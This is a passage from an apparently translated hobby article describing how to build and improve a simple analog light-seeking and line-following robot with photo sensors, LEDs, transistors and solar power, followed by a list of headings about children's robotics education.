toys, you definitely can’t go wrong with their power, since they are designed to carry a lot of cars with batteries. Once we had the engines sorted out, we moved on to cosmetic tuning and drive. First we need to collect the beards of wires that are dragging along the floor and secure them to the chassis with hot glue. If the robot is dragging its belly somewhere, then you can lift the front chassis by bending the fastening wire. The most important thing is photo sensors. It is best to bend them looking to the side at thirty degrees from the main course. Then it will pick up light sources and move towards them. The required bending angle will have to be selected experimentally. That's it, arm yourself with a table lamp, put the robot on the floor, turn it on and start checking and enjoying how your child clearly follows the light source and how cleverly he finds it. Improvements There is no limit to perfection and you can add endless functions to our robot. There were even thoughts of installing a controller, but then the cost and complexity of manufacturing would increase significantly, and this is not our method. The first improvement is to make a robot that would travel along a given trajectory. Everything is simple here, you take a black stripe and print it on the printer, or similarly draw it with a black permanent marker on a sheet of whatman paper. The main thing is that the strip is slightly narrower than the width of the sealed photo sensors. We lower the photocells themselves so that they look at the floor. Next to each of our eyes we install a super-bright LED in series with a resistance of 470 Ohms. We solder the LED itself with resistance directly to the battery. The idea is simple, the light reflects perfectly from a white sheet of paper, hits our sensor and the robot drives straight. As soon as the beam hits the dark strip, almost no light reaches the photocell (black paper absorbs light perfectly), and therefore one motor begins to rotate more slowly. Another motor quickly turns the robot, leveling its course. As a result, the robot rolls along the black stripe, as if on rails. You can draw such a stripe on a white floor and send the robot to the kitchen to get beer from your computer. The second idea is to complicate the circuit by adding two more transistors and two photosensors and make the robot look for light not only from the front, but also from all sides, and as soon as it finds it, it rushes towards it. Everything will just depend on which side the light source appears from: if in front, it will go forward, and if from behind, it will roll back. Even in this case, to simplify assembly, you can use the LM293D chip, but it costs about a hundred rubles. But with the help of it you can easily configure the differential activation of the direction of rotation of the wheels or, more simply, the direction of movement of the robot: forward and backward. The last thing you can do is to completely remove the batteries that constantly run out and install a solar battery, which you can now buy at a mobile phone accessories store (or on dialextreme). To prevent the robot from completely losing its functionality in this mode, if it accidentally enters the shade, you can connect a solar battery in parallel - an electrolytic capacitor with a very large capacity (thousands of microfarads). Since our voltage there does not exceed five volts, we can take a capacitor designed for 6.3 volts. With such a capacity and voltage it will be quite miniature. Conders can either be bought or uprooted from old power supplies. conclusions So we have joined the greatest science, the engine of progress - cybernetics. In the seventies of the last century, it was very popular to design such robots. It should be noted that our creation uses the rudiments of analog computing technology, which died out with the advent of digital technologies. But as I showed in this article, all is not lost. I hope that we will not stop at constructing such a simple robot, but will come up with new and new designs, and you will surprise us with your interesting crafts. Good luck with the build!Conclusion
How does robotics for children differ from professional robotics?
How can you tell if your child has a penchant for robotics?
When to start learning robotics?
Which designers to choose?
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What else will you need to study?
Where can children practice robotics?
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How to choose robotics courses?
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How to study robotics on your own?
Should adults learn robotics?
Which universities should I go to study at?
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The most important
We think you can come up with the rest of the possible variations yourself. If there is something interesting, be sure to write.
